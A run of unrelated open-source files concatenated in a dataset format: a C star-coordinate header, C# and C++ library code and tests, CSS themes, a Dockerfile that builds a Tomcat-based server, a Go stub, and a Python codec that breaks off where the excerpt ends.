struct starxy_t {
double* x;
double* y;
double* flux;
double* background;
int N;
double xlo, xhi, ylo, yhi;
};
typedef struct starxy_t starxy_t;
starxy_t* starxy_new(int N, anbool flux, anbool back);
void starxy_compute_range(starxy_t* xy);
double starxy_getx(const starxy_t* f, int i);
double starxy_gety(const starxy_t* f, int i);
double starxy_get_x(const starxy_t* f, int i);
double starxy_get_y(const starxy_t* f, int i);
double starxy_get_flux(const starxy_t* f, int i);
void starxy_get(const starxy_t* f, int i, double* xy);
void starxy_setx(starxy_t* f, int i, double x);
void starxy_sety(starxy_t* f, int i, double y);
void starxy_set_x(starxy_t* f, int i, double x);
void starxy_set_y(starxy_t* f, int i, double y);
void starxy_set_flux(starxy_t* f, int i, double y);
// Copies just the first N entries into a new starxy_t object.
starxy_t* starxy_subset(starxy_t*, int N);
// Creates a full copy
starxy_t* starxy_copy(starxy_t*);
// Copies from the given arrays into the starxy_t.
void starxy_set_x_array(starxy_t* s, const double* x);
void starxy_set_y_array(starxy_t* s, const double* y);
void starxy_set_flux_array(starxy_t* s, const double* f);
void starxy_set_bg_array(starxy_t* s, const double* f);
// interleaved x,y
void starxy_set_xy_array(starxy_t* s, const double* xy);
void starxy_sort_by_flux(starxy_t* f);
void starxy_set(starxy_t* f, int i, double x, double y);
int starxy_n(const starxy_t* f);
double* starxy_copy_x(const starxy_t* xy);
double* starxy_copy_y(const starxy_t* xy);
double* starxy_copy_xy(const starxy_t* xy);
// Returns a flat array of [x0, y0, x1, y1, ...].
// If "arr" is NULL, allocates and returns a new array.
double* starxy_to_xy_array(starxy_t* xy, double* arr);
// Like starxy_to_xy_array, but also includes "flux" and "background" if they're set.
double* starxy_to_flat_array(starxy_t* xy, double* arr);
void starxy_alloc_data(starxy_t* f, int N, anbool flux, anbool back);
void starxy_from_dl(starxy_t* xy, dl* l, anbool flux, anbool back);
// Just free the data, not the field itself.
void starxy_free_data(starxy_t* f);
void starxy_free(starxy_t* f);
#endif
| {
"pile_set_name": "Github"
} |
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFrameworks>netcoreapp3.1</TargetFrameworks>
</PropertyGroup>
<PropertyGroup>
<Description>ASP.NET Core security middleware enabling Yahoo authentication.</Description>
<Authors>Kévin Chalet;Jerrie Pelser;Chino Chang</Authors>
<PackageTags>aspnetcore;authentication;oauth;security;yahoo</PackageTags>
</PropertyGroup>
<ItemGroup>
<FrameworkReference Include="Microsoft.AspNetCore.App" />
<PackageReference Include="JetBrains.Annotations" PrivateAssets="All" />
</ItemGroup>
</Project>
| {
"pile_set_name": "Github"
} |
.u-w-radio-group{
flex-direction: column;
}
| {
"pile_set_name": "Github"
} |
/*
tests/test_class.cpp -- test py::class_ definitions and basic functionality
Copyright (c) 2016 Wenzel Jakob <[email protected]>
All rights reserved. Use of this source code is governed by a
BSD-style license that can be found in the LICENSE file.
*/
#include "pybind11_tests.h"
#include "constructor_stats.h"
#include "local_bindings.h"
#include <pybind11/stl.h>
#if defined(_MSC_VER)
# pragma warning(disable: 4324) // warning C4324: structure was padded due to alignment specifier
#endif
// test_brace_initialization
struct NoBraceInitialization {
NoBraceInitialization(std::vector<int> v) : vec{std::move(v)} {}
template <typename T>
NoBraceInitialization(std::initializer_list<T> l) : vec(l) {}
std::vector<int> vec;
};
TEST_SUBMODULE(class_, m) {
// test_instance
struct NoConstructor {
NoConstructor() = default;
NoConstructor(const NoConstructor &) = default;
NoConstructor(NoConstructor &&) = default;
static NoConstructor *new_instance() {
auto *ptr = new NoConstructor();
print_created(ptr, "via new_instance");
return ptr;
}
~NoConstructor() { print_destroyed(this); }
};
py::class_<NoConstructor>(m, "NoConstructor")
.def_static("new_instance", &NoConstructor::new_instance, "Return an instance");
// test_inheritance
class Pet {
public:
Pet(const std::string &name, const std::string &species)
: m_name(name), m_species(species) {}
std::string name() const { return m_name; }
std::string species() const { return m_species; }
private:
std::string m_name;
std::string m_species;
};
class Dog : public Pet {
public:
Dog(const std::string &name) : Pet(name, "dog") {}
std::string bark() const { return "Woof!"; }
};
class Rabbit : public Pet {
public:
Rabbit(const std::string &name) : Pet(name, "parrot") {}
};
class Hamster : public Pet {
public:
Hamster(const std::string &name) : Pet(name, "rodent") {}
};
class Chimera : public Pet {
Chimera() : Pet("Kimmy", "chimera") {}
};
py::class_<Pet> pet_class(m, "Pet");
pet_class
.def(py::init<std::string, std::string>())
.def("name", &Pet::name)
.def("species", &Pet::species);
/* One way of declaring a subclass relationship: reference parent's class_ object */
py::class_<Dog>(m, "Dog", pet_class)
.def(py::init<std::string>());
/* Another way of declaring a subclass relationship: reference parent's C++ type */
py::class_<Rabbit, Pet>(m, "Rabbit")
.def(py::init<std::string>());
/* And another: list parent in class template arguments */
py::class_<Hamster, Pet>(m, "Hamster")
.def(py::init<std::string>());
/* Constructors are not inherited by default */
py::class_<Chimera, Pet>(m, "Chimera");
m.def("pet_name_species", [](const Pet &pet) { return pet.name() + " is a " + pet.species(); });
m.def("dog_bark", [](const Dog &dog) { return dog.bark(); });
// test_automatic_upcasting
struct BaseClass {
BaseClass() = default;
BaseClass(const BaseClass &) = default;
BaseClass(BaseClass &&) = default;
virtual ~BaseClass() {}
};
struct DerivedClass1 : BaseClass { };
struct DerivedClass2 : BaseClass { };
py::class_<BaseClass>(m, "BaseClass").def(py::init<>());
py::class_<DerivedClass1>(m, "DerivedClass1").def(py::init<>());
py::class_<DerivedClass2>(m, "DerivedClass2").def(py::init<>());
m.def("return_class_1", []() -> BaseClass* { return new DerivedClass1(); });
m.def("return_class_2", []() -> BaseClass* { return new DerivedClass2(); });
m.def("return_class_n", [](int n) -> BaseClass* {
if (n == 1) return new DerivedClass1();
if (n == 2) return new DerivedClass2();
return new BaseClass();
});
m.def("return_none", []() -> BaseClass* { return nullptr; });
// test_isinstance
m.def("check_instances", [](py::list l) {
return py::make_tuple(
py::isinstance<py::tuple>(l[0]),
py::isinstance<py::dict>(l[1]),
py::isinstance<Pet>(l[2]),
py::isinstance<Pet>(l[3]),
py::isinstance<Dog>(l[4]),
py::isinstance<Rabbit>(l[5]),
py::isinstance<UnregisteredType>(l[6])
);
});
// test_mismatched_holder
struct MismatchBase1 { };
struct MismatchDerived1 : MismatchBase1 { };
struct MismatchBase2 { };
struct MismatchDerived2 : MismatchBase2 { };
m.def("mismatched_holder_1", []() {
auto mod = py::module::import("__main__");
py::class_<MismatchBase1, std::shared_ptr<MismatchBase1>>(mod, "MismatchBase1");
py::class_<MismatchDerived1, MismatchBase1>(mod, "MismatchDerived1");
});
m.def("mismatched_holder_2", []() {
auto mod = py::module::import("__main__");
py::class_<MismatchBase2>(mod, "MismatchBase2");
py::class_<MismatchDerived2, std::shared_ptr<MismatchDerived2>,
MismatchBase2>(mod, "MismatchDerived2");
});
// test_override_static
// #511: problem with inheritance + overwritten def_static
struct MyBase {
static std::unique_ptr<MyBase> make() {
return std::unique_ptr<MyBase>(new MyBase());
}
};
struct MyDerived : MyBase {
static std::unique_ptr<MyDerived> make() {
return std::unique_ptr<MyDerived>(new MyDerived());
}
};
py::class_<MyBase>(m, "MyBase")
.def_static("make", &MyBase::make);
py::class_<MyDerived, MyBase>(m, "MyDerived")
.def_static("make", &MyDerived::make)
.def_static("make2", &MyDerived::make);
// test_implicit_conversion_life_support
struct ConvertibleFromUserType {
int i;
ConvertibleFromUserType(UserType u) : i(u.value()) { }
};
py::class_<ConvertibleFromUserType>(m, "AcceptsUserType")
.def(py::init<UserType>());
py::implicitly_convertible<UserType, ConvertibleFromUserType>();
m.def("implicitly_convert_argument", [](const ConvertibleFromUserType &r) { return r.i; });
m.def("implicitly_convert_variable", [](py::object o) {
// `o` is `UserType` and `r` is a reference to a temporary created by implicit
// conversion. This is valid when called inside a bound function because the temp
// object is attached to the same life support system as the arguments.
const auto &r = o.cast<const ConvertibleFromUserType &>();
return r.i;
});
m.add_object("implicitly_convert_variable_fail", [&] {
auto f = [](PyObject *, PyObject *args) -> PyObject * {
auto o = py::reinterpret_borrow<py::tuple>(args)[0];
try { // It should fail here because there is no life support.
o.cast<const ConvertibleFromUserType &>();
} catch (const py::cast_error &e) {
return py::str(e.what()).release().ptr();
}
return py::str().release().ptr();
};
auto def = new PyMethodDef{"f", f, METH_VARARGS, nullptr};
return py::reinterpret_steal<py::object>(PyCFunction_NewEx(def, nullptr, m.ptr()));
}());
// test_operator_new_delete
struct HasOpNewDel {
std::uint64_t i;
static void *operator new(size_t s) { py::print("A new", s); return ::operator new(s); }
static void *operator new(size_t s, void *ptr) { py::print("A placement-new", s); return ptr; }
static void operator delete(void *p) { py::print("A delete"); return ::operator delete(p); }
};
struct HasOpNewDelSize {
std::uint32_t i;
static void *operator new(size_t s) { py::print("B new", s); return ::operator new(s); }
static void *operator new(size_t s, void *ptr) { py::print("B placement-new", s); return ptr; }
static void operator delete(void *p, size_t s) { py::print("B delete", s); return ::operator delete(p); }
};
struct AliasedHasOpNewDelSize {
std::uint64_t i;
static void *operator new(size_t s) { py::print("C new", s); return ::operator new(s); }
static void *operator new(size_t s, void *ptr) { py::print("C placement-new", s); return ptr; }
static void operator delete(void *p, size_t s) { py::print("C delete", s); return ::operator delete(p); }
virtual ~AliasedHasOpNewDelSize() = default;
};
struct PyAliasedHasOpNewDelSize : AliasedHasOpNewDelSize {
PyAliasedHasOpNewDelSize() = default;
PyAliasedHasOpNewDelSize(int) { }
std::uint64_t j;
};
struct HasOpNewDelBoth {
std::uint32_t i[8];
static void *operator new(size_t s) { py::print("D new", s); return ::operator new(s); }
static void *operator new(size_t s, void *ptr) { py::print("D placement-new", s); return ptr; }
static void operator delete(void *p) { py::print("D delete"); return ::operator delete(p); }
static void operator delete(void *p, size_t s) { py::print("D wrong delete", s); return ::operator delete(p); }
};
py::class_<HasOpNewDel>(m, "HasOpNewDel").def(py::init<>());
py::class_<HasOpNewDelSize>(m, "HasOpNewDelSize").def(py::init<>());
py::class_<HasOpNewDelBoth>(m, "HasOpNewDelBoth").def(py::init<>());
py::class_<AliasedHasOpNewDelSize, PyAliasedHasOpNewDelSize> aliased(m, "AliasedHasOpNewDelSize");
aliased.def(py::init<>());
aliased.attr("size_noalias") = py::int_(sizeof(AliasedHasOpNewDelSize));
aliased.attr("size_alias") = py::int_(sizeof(PyAliasedHasOpNewDelSize));
// This test is actually part of test_local_bindings (test_duplicate_local), but we need a
// definition in a different compilation unit within the same module:
bind_local<LocalExternal, 17>(m, "LocalExternal", py::module_local());
// test_bind_protected_functions
class ProtectedA {
protected:
int foo() const { return value; }
private:
int value = 42;
};
class PublicistA : public ProtectedA {
public:
using ProtectedA::foo;
};
py::class_<ProtectedA>(m, "ProtectedA")
.def(py::init<>())
#if !defined(_MSC_VER) || _MSC_VER >= 1910
.def("foo", &PublicistA::foo);
#else
.def("foo", static_cast<int (ProtectedA::*)() const>(&PublicistA::foo));
#endif
class ProtectedB {
public:
virtual ~ProtectedB() = default;
protected:
virtual int foo() const { return value; }
private:
int value = 42;
};
class TrampolineB : public ProtectedB {
public:
int foo() const override { PYBIND11_OVERLOAD(int, ProtectedB, foo, ); }
};
class PublicistB : public ProtectedB {
public:
using ProtectedB::foo;
};
py::class_<ProtectedB, TrampolineB>(m, "ProtectedB")
.def(py::init<>())
#if !defined(_MSC_VER) || _MSC_VER >= 1910
.def("foo", &PublicistB::foo);
#else
.def("foo", static_cast<int (ProtectedB::*)() const>(&PublicistB::foo));
#endif
// test_brace_initialization
struct BraceInitialization {
int field1;
std::string field2;
};
py::class_<BraceInitialization>(m, "BraceInitialization")
.def(py::init<int, const std::string &>())
.def_readwrite("field1", &BraceInitialization::field1)
.def_readwrite("field2", &BraceInitialization::field2);
// We *don't* want to construct using braces when the given constructor argument maps to a
// constructor, because brace initialization could go to the wrong place (in particular when
// there is also an `initializer_list<T>`-accept constructor):
py::class_<NoBraceInitialization>(m, "NoBraceInitialization")
.def(py::init<std::vector<int>>())
.def_readonly("vec", &NoBraceInitialization::vec);
// test_reentrant_implicit_conversion_failure
// #1035: issue with runaway reentrant implicit conversion
struct BogusImplicitConversion {
BogusImplicitConversion(const BogusImplicitConversion &) { }
};
py::class_<BogusImplicitConversion>(m, "BogusImplicitConversion")
.def(py::init<const BogusImplicitConversion &>());
py::implicitly_convertible<int, BogusImplicitConversion>();
// test_qualname
// #1166: nested class docstring doesn't show nested name
// Also related: tests that __qualname__ is set properly
struct NestBase {};
struct Nested {};
py::class_<NestBase> base(m, "NestBase");
base.def(py::init<>());
py::class_<Nested>(base, "Nested")
.def(py::init<>())
.def("fn", [](Nested &, int, NestBase &, Nested &) {})
.def("fa", [](Nested &, int, NestBase &, Nested &) {},
"a"_a, "b"_a, "c"_a);
base.def("g", [](NestBase &, Nested &) {});
base.def("h", []() { return NestBase(); });
// test_error_after_conversion
// The second-pass path through dispatcher() previously didn't
// remember which overload was used, and would crash trying to
// generate a useful error message
struct NotRegistered {};
struct StringWrapper { std::string str; };
m.def("test_error_after_conversions", [](int) {});
m.def("test_error_after_conversions",
[](StringWrapper) -> NotRegistered { return {}; });
py::class_<StringWrapper>(m, "StringWrapper").def(py::init<std::string>());
py::implicitly_convertible<std::string, StringWrapper>();
#if defined(PYBIND11_CPP17)
struct alignas(1024) Aligned {
std::uintptr_t ptr() const { return (uintptr_t) this; }
};
py::class_<Aligned>(m, "Aligned")
.def(py::init<>())
.def("ptr", &Aligned::ptr);
#endif
}
template <int N> class BreaksBase { public: virtual ~BreaksBase() = default; };
template <int N> class BreaksTramp : public BreaksBase<N> {};
// These should all compile just fine:
typedef py::class_<BreaksBase<1>, std::unique_ptr<BreaksBase<1>>, BreaksTramp<1>> DoesntBreak1;
typedef py::class_<BreaksBase<2>, BreaksTramp<2>, std::unique_ptr<BreaksBase<2>>> DoesntBreak2;
typedef py::class_<BreaksBase<3>, std::unique_ptr<BreaksBase<3>>> DoesntBreak3;
typedef py::class_<BreaksBase<4>, BreaksTramp<4>> DoesntBreak4;
typedef py::class_<BreaksBase<5>> DoesntBreak5;
typedef py::class_<BreaksBase<6>, std::shared_ptr<BreaksBase<6>>, BreaksTramp<6>> DoesntBreak6;
typedef py::class_<BreaksBase<7>, BreaksTramp<7>, std::shared_ptr<BreaksBase<7>>> DoesntBreak7;
typedef py::class_<BreaksBase<8>, std::shared_ptr<BreaksBase<8>>> DoesntBreak8;
#define CHECK_BASE(N) static_assert(std::is_same<typename DoesntBreak##N::type, BreaksBase<N>>::value, \
"DoesntBreak" #N " has wrong type!")
CHECK_BASE(1); CHECK_BASE(2); CHECK_BASE(3); CHECK_BASE(4); CHECK_BASE(5); CHECK_BASE(6); CHECK_BASE(7); CHECK_BASE(8);
#define CHECK_ALIAS(N) static_assert(DoesntBreak##N::has_alias && std::is_same<typename DoesntBreak##N::type_alias, BreaksTramp<N>>::value, \
"DoesntBreak" #N " has wrong type_alias!")
#define CHECK_NOALIAS(N) static_assert(!DoesntBreak##N::has_alias && std::is_void<typename DoesntBreak##N::type_alias>::value, \
"DoesntBreak" #N " has type alias, but shouldn't!")
CHECK_ALIAS(1); CHECK_ALIAS(2); CHECK_NOALIAS(3); CHECK_ALIAS(4); CHECK_NOALIAS(5); CHECK_ALIAS(6); CHECK_ALIAS(7); CHECK_NOALIAS(8);
#define CHECK_HOLDER(N, TYPE) static_assert(std::is_same<typename DoesntBreak##N::holder_type, std::TYPE##_ptr<BreaksBase<N>>>::value, \
"DoesntBreak" #N " has wrong holder_type!")
CHECK_HOLDER(1, unique); CHECK_HOLDER(2, unique); CHECK_HOLDER(3, unique); CHECK_HOLDER(4, unique); CHECK_HOLDER(5, unique);
CHECK_HOLDER(6, shared); CHECK_HOLDER(7, shared); CHECK_HOLDER(8, shared);
// There's no nice way to test that these fail because they fail to compile; leave them here,
// though, so that they can be manually tested by uncommenting them (and seeing that compilation
// failures occurs).
// We have to actually look into the type: the typedef alone isn't enough to instantiate the type:
#define CHECK_BROKEN(N) static_assert(std::is_same<typename Breaks##N::type, BreaksBase<-N>>::value, \
"Breaks1 has wrong type!");
//// Two holder classes:
//typedef py::class_<BreaksBase<-1>, std::unique_ptr<BreaksBase<-1>>, std::unique_ptr<BreaksBase<-1>>> Breaks1;
//CHECK_BROKEN(1);
//// Two aliases:
//typedef py::class_<BreaksBase<-2>, BreaksTramp<-2>, BreaksTramp<-2>> Breaks2;
//CHECK_BROKEN(2);
//// Holder + 2 aliases
//typedef py::class_<BreaksBase<-3>, std::unique_ptr<BreaksBase<-3>>, BreaksTramp<-3>, BreaksTramp<-3>> Breaks3;
//CHECK_BROKEN(3);
//// Alias + 2 holders
//typedef py::class_<BreaksBase<-4>, std::unique_ptr<BreaksBase<-4>>, BreaksTramp<-4>, std::shared_ptr<BreaksBase<-4>>> Breaks4;
//CHECK_BROKEN(4);
//// Invalid option (not a subclass or holder)
//typedef py::class_<BreaksBase<-5>, BreaksTramp<-4>> Breaks5;
//CHECK_BROKEN(5);
//// Invalid option: multiple inheritance not supported:
//template <> struct BreaksBase<-8> : BreaksBase<-6>, BreaksBase<-7> {};
//typedef py::class_<BreaksBase<-8>, BreaksBase<-6>, BreaksBase<-7>> Breaks8;
//CHECK_BROKEN(8);
| {
"pile_set_name": "Github"
} |
FROM maven:3.3.3-jdk-8
ENV SELDON_HOME /home/seldon
RUN mkdir -p "${SELDON_HOME}"
WORKDIR ${SELDON_HOME}
# create ${SELDON_HOME}/seldon-server-?.war
COPY seldon-server.tar.gz ${SELDON_HOME}/
RUN cd ${SELDON_HOME} && \
tar xfz seldon-server.tar.gz && \
cd seldon-server/server && \
mvn clean package && \
mv -v ${SELDON_HOME}/seldon-server/server/target/*.war ${SELDON_HOME}/ && \
rm -rf ${SELDON_HOME}/seldon-server && \
rm -f ${SELDON_HOME}/seldon-server.tar.gz
ENV CATALINA_HOME /usr/local/tomcat
ENV PATH $CATALINA_HOME/bin:$PATH
RUN mkdir -p "$CATALINA_HOME"
WORKDIR $CATALINA_HOME
ENV TOMCAT_MAJOR 7
ENV TOMCAT_VERSION 7.0.82
ENV TOMCAT_TGZ_URL https://www.apache.org/dist/tomcat/tomcat-$TOMCAT_MAJOR/v$TOMCAT_VERSION/bin/apache-tomcat-$TOMCAT_VERSION.tar.gz
RUN set -x \
&& curl -fSL "$TOMCAT_TGZ_URL" -o tomcat.tar.gz \
&& tar -xvf tomcat.tar.gz --strip-components=1 \
&& rm bin/*.bat \
&& rm tomcat.tar.gz*
EXPOSE 8080
RUN apt-get update && \
apt-get install -y less telnet emacs
RUN (mkdir -p $SELDON_HOME/ROOT && \
mv -v $SELDON_HOME/*.war $SELDON_HOME/ROOT && \
cd $SELDON_HOME/ROOT && unzip *.war && rm *.war && \
rm -rf $CATALINA_HOME/webapps/ROOT && ln -s $SELDON_HOME/ROOT $CATALINA_HOME/webapps/ROOT && \
mkdir -p $SELDON_HOME/logs/base && \
mkdir -p $SELDON_HOME/logs/actions && \
mkdir -p $SELDON_HOME/logs/tomcat && \
mkdir -p $CATALINA_HOME/logs/seldon-server && \
ln -s $SELDON_HOME/logs/base $CATALINA_HOME/logs/seldon-server/base && \
ln -s $SELDON_HOME/logs/tomcat $CATALINA_HOME/logs/tomcat && \
ln -s $SELDON_HOME/logs/actions $CATALINA_HOME/logs/seldon-server/actions )
ENV SELDON_ZKSERVERS zookeeper
ADD scripts/server.xml $CATALINA_HOME/conf/server.xml
ADD scripts/context.xml $CATALINA_HOME/conf/context.xml
ADD scripts/catalina.policy $CATALINA_HOME/conf/catalina.policy
ADD scripts/start-server.sh $SELDON_HOME/start-server.sh
ADD scripts/start-server-debug.sh $SELDON_HOME/start-server-debug.sh
WORKDIR ${SELDON_HOME}
# Define default command.
CMD ["bash"]
| {
"pile_set_name": "Github"
} |
/* $progress-bar
------------------------------------------*/
.progress {
height: 10px;
margin-bottom: $gutter;
}
.progress-success {
@include progress-variant($brand-success);
}
.progress-info {
@include progress-variant($brand-info);
}
.progress-warning {
@include progress-variant($brand-warning);
}
.progress-danger {
@include progress-variant($brand-danger);
}
| {
"pile_set_name": "Github"
} |
// Copyright (c) 2019 Alachisoft
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License
using System;
using Alachisoft.NCache.Common.Threading;
namespace Alachisoft.NCache.Caching.Topologies.Clustered
{
/// <summary>
/// The periodic update task. Replicates cache stats to all nodes. _stats are used for
/// load balancing as well as statistics reporting.
/// </summary>
class PeriodicPresenceAnnouncer : TimeScheduler.Task
{
/// <summary> The parent on this task. </summary>
private IPresenceAnnouncement _parent = null;
/// <summary> The periodic interval for stat replications. </summary>
private long _period = 5000;
/// <summary>
/// Constructor.
/// </summary>
/// <param name="parent"></param>
public PeriodicPresenceAnnouncer(IPresenceAnnouncement parent)
{
_parent = parent;
}
/// <summary>
/// Overloaded Constructor.
/// </summary>
/// <param name="parent"></param>
/// <param name="period"></param>
public PeriodicPresenceAnnouncer(IPresenceAnnouncement parent, long period)
{
_parent = parent;
_period = period;
}
/// <summary>
/// Sets the cancell flag.
/// </summary>
public void Cancel()
{
lock (this) { _parent = null; }
}
/// <summary>
/// The task is cancelled or not.
/// </summary>
/// <returns></returns>
bool TimeScheduler.Task.IsCancelled()
{
lock (this) { return _parent == null; }
}
/// <summary>
/// The interval between replications.
/// </summary>
/// <returns></returns>
long TimeScheduler.Task.GetNextInterval()
{
return _period;
}
/// <summary>
/// Do the replication.
/// </summary>
void TimeScheduler.Task.Run()
{
if (_parent != null)
{
_parent.AnnouncePresence(false);
}
}
}
}
| {
"pile_set_name": "Github"
} |
/*
Darcula color scheme from the JetBrains family of IDEs
*/
.hljs {
display: block;
overflow-x: auto;
padding: 0.5em;
background: #2b2b2b;
}
.hljs {
color: #bababa;
}
.hljs-strong,
.hljs-emphasis {
color: #a8a8a2;
}
.hljs-bullet,
.hljs-quote,
.hljs-link,
.hljs-number,
.hljs-regexp,
.hljs-literal {
color: #6896ba;
}
.hljs-code,
.hljs-selector-class {
color: #a6e22e;
}
.hljs-emphasis {
font-style: italic;
}
.hljs-keyword,
.hljs-selector-tag,
.hljs-section,
.hljs-attribute,
.hljs-name,
.hljs-variable {
color: #cb7832;
}
.hljs-params {
color: #b9b9b9;
}
.hljs-string {
color: #6a8759;
}
.hljs-subst,
.hljs-type,
.hljs-built_in,
.hljs-builtin-name,
.hljs-symbol,
.hljs-selector-id,
.hljs-selector-attr,
.hljs-selector-pseudo,
.hljs-template-tag,
.hljs-template-variable,
.hljs-addition {
color: #e0c46c;
}
.hljs-comment,
.hljs-deletion,
.hljs-meta {
color: #7f7f7f;
}
| {
"pile_set_name": "Github"
} |
///////////////////////////////////////////////////////////////////////////////
// Copyright (c) Lewis Baker
// Licenced under MIT license. See LICENSE.txt for details.
///////////////////////////////////////////////////////////////////////////////
#include <cppcoro/static_thread_pool.hpp>
#include <cppcoro/task.hpp>
#include <cppcoro/sync_wait.hpp>
#include <cppcoro/when_all.hpp>
#include <vector>
#include <thread>
#include <cassert>
#include <chrono>
#include <iostream>
#include <numeric>
#include "doctest/doctest.h"
TEST_SUITE_BEGIN("static_thread_pool");
TEST_CASE("construct/destruct")
{
cppcoro::static_thread_pool threadPool;
CHECK(threadPool.thread_count() == std::thread::hardware_concurrency());
}
TEST_CASE("construct/destruct to specific thread count")
{
cppcoro::static_thread_pool threadPool{ 5 };
CHECK(threadPool.thread_count() == 5);
}
TEST_CASE("run one task")
{
cppcoro::static_thread_pool threadPool{ 2 };
auto initiatingThreadId = std::this_thread::get_id();
cppcoro::sync_wait([&]() -> cppcoro::task<void>
{
co_await threadPool.schedule();
if (std::this_thread::get_id() == initiatingThreadId)
{
FAIL("schedule() did not switch threads");
}
}());
}
TEST_CASE("launch many tasks remotely")
{
cppcoro::static_thread_pool threadPool;
auto makeTask = [&]() -> cppcoro::task<>
{
co_await threadPool.schedule();
};
std::vector<cppcoro::task<>> tasks;
for (std::uint32_t i = 0; i < 100; ++i)
{
tasks.push_back(makeTask());
}
cppcoro::sync_wait(cppcoro::when_all(std::move(tasks)));
}
cppcoro::task<std::uint64_t> sum_of_squares(
std::uint32_t start,
std::uint32_t end,
cppcoro::static_thread_pool& tp)
{
co_await tp.schedule();
auto count = end - start;
if (count > 1000)
{
auto half = start + count / 2;
auto[a, b] = co_await cppcoro::when_all(
sum_of_squares(start, half, tp),
sum_of_squares(half, end, tp));
co_return a + b;
}
else
{
std::uint64_t sum = 0;
for (std::uint64_t x = start; x < end; ++x)
{
sum += x * x;
}
co_return sum;
}
}
TEST_CASE("launch sub-task with many sub-tasks")
{
using namespace std::chrono_literals;
constexpr std::uint64_t limit = 1'000'000'000;
cppcoro::static_thread_pool tp;
// Wait for the thread-pool thread to start up.
std::this_thread::sleep_for(1ms);
auto start = std::chrono::high_resolution_clock::now();
auto result = cppcoro::sync_wait(sum_of_squares(0, limit , tp));
auto end = std::chrono::high_resolution_clock::now();
std::uint64_t sum = 0;
for (std::uint64_t i = 0; i < limit; ++i)
{
sum += i * i;
}
auto end2 = std::chrono::high_resolution_clock::now();
auto toNs = [](auto time)
{
return std::chrono::duration_cast<std::chrono::nanoseconds>(time).count();
};
std::cout
<< "multi-threaded version took " << toNs(end - start) << "ns\n"
<< "single-threaded version took " << toNs(end2 - end) << "ns" << std::endl;
CHECK(result == sum);
}
struct fork_join_operation
{
std::atomic<std::size_t> m_count;
std::experimental::coroutine_handle<> m_coro;
fork_join_operation() : m_count(1) {}
void begin_work() noexcept
{
m_count.fetch_add(1, std::memory_order_relaxed);
}
void end_work() noexcept
{
if (m_count.fetch_sub(1, std::memory_order_acq_rel) == 1)
{
m_coro.resume();
}
}
bool await_ready() noexcept { return m_count.load(std::memory_order_acquire) == 1; }
bool await_suspend(std::experimental::coroutine_handle<> coro) noexcept
{
m_coro = coro;
return m_count.fetch_sub(1, std::memory_order_acq_rel) != 1;
}
void await_resume() noexcept {};
};
template<typename FUNC, typename RANGE, typename SCHEDULER>
cppcoro::task<void> for_each_async(SCHEDULER& scheduler, RANGE& range, FUNC func)
{
using reference_type = decltype(*range.begin());
// TODO: Use awaiter_t here instead. This currently assumes that
// result of scheduler.schedule() doesn't have an operator co_await().
using schedule_operation = decltype(scheduler.schedule());
struct work_operation
{
fork_join_operation& m_forkJoin;
FUNC& m_func;
reference_type m_value;
schedule_operation m_scheduleOp;
work_operation(fork_join_operation& forkJoin, SCHEDULER& scheduler, FUNC& func, reference_type&& value)
: m_forkJoin(forkJoin)
, m_func(func)
, m_value(static_cast<reference_type&&>(value))
, m_scheduleOp(scheduler.schedule())
{
}
bool await_ready() noexcept { return false; }
CPPCORO_NOINLINE
void await_suspend(std::experimental::coroutine_handle<> coro) noexcept
{
fork_join_operation& forkJoin = m_forkJoin;
FUNC& func = m_func;
reference_type value = static_cast<reference_type&&>(m_value);
static_assert(std::is_same_v<decltype(m_scheduleOp.await_suspend(coro)), void>);
forkJoin.begin_work();
// Schedule the next iteration of the loop to run
m_scheduleOp.await_suspend(coro);
func(static_cast<reference_type&&>(value));
forkJoin.end_work();
}
void await_resume() noexcept {}
};
co_await scheduler.schedule();
fork_join_operation forkJoin;
for (auto&& x : range)
{
co_await work_operation{
forkJoin,
scheduler,
func,
static_cast<decltype(x)>(x)
};
}
co_await forkJoin;
}
std::uint64_t collatz_distance(std::uint64_t number)
{
std::uint64_t count = 0;
while (number > 1)
{
if (number % 2 == 0) number /= 2;
else number = number * 3 + 1;
++count;
}
return count;
}
TEST_CASE("for_each_async")
{
cppcoro::static_thread_pool tp;
{
std::vector<std::uint64_t> values(1'000'000);
std::iota(values.begin(), values.end(), 1);
cppcoro::sync_wait([&]() -> cppcoro::task<>
{
auto start = std::chrono::high_resolution_clock::now();
co_await for_each_async(tp, values, [](std::uint64_t& value)
{
value = collatz_distance(value);
});
auto end = std::chrono::high_resolution_clock::now();
std::cout << "for_each_async of " << values.size()
<< " took " << std::chrono::duration_cast<std::chrono::microseconds>(end - start).count()
<< "us" << std::endl;
for (std::size_t i = 0; i < 1'000'000; ++i)
{
CHECK(values[i] == collatz_distance(i + 1));
}
}());
}
{
std::vector<std::uint64_t> values(1'000'000);
std::iota(values.begin(), values.end(), 1);
auto start = std::chrono::high_resolution_clock::now();
for (auto&& x : values)
{
x = collatz_distance(x);
}
auto end = std::chrono::high_resolution_clock::now();
std::cout << "single-threaded for loop of " << values.size()
<< " took " << std::chrono::duration_cast<std::chrono::microseconds>(end - start).count()
<< "us" << std::endl;
}
}
TEST_SUITE_END();
| {
"pile_set_name": "Github"
} |
// Copyright 2016 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !go1.9
package http2
import (
"net/http"
)
func configureServer19(s *http.Server, conf *Server) error {
// not supported prior to go1.9
return nil
}
| {
"pile_set_name": "Github"
} |
""" Python Character Mapping Codec generated from 'VENDORS/MICSFT/PC/CP864.TXT' with gencodec.py.
"""#"
import codecs
### Codec APIs
class Codec(codecs.Codec):
def encode(self,input,errors='strict'):
return codecs.charmap_encode(input,errors,encoding_map)
def decode(self,input,errors='strict'):
return codecs.charmap_decode(input,errors,decoding_table)
class IncrementalEncoder(codecs.IncrementalEncoder):
def encode(self, input, final=False):
return codecs.charmap_encode(input,self.errors,encoding_map)[0]
class IncrementalDecoder(codecs.IncrementalDecoder):
def decode(self, input, final=False):
return codecs.charmap_decode(input,self.errors,decoding_table)[0]
class StreamWriter(Codec,codecs.StreamWriter):
pass
class StreamReader(Codec,codecs.StreamReader):
pass
### encodings module API
def getregentry():
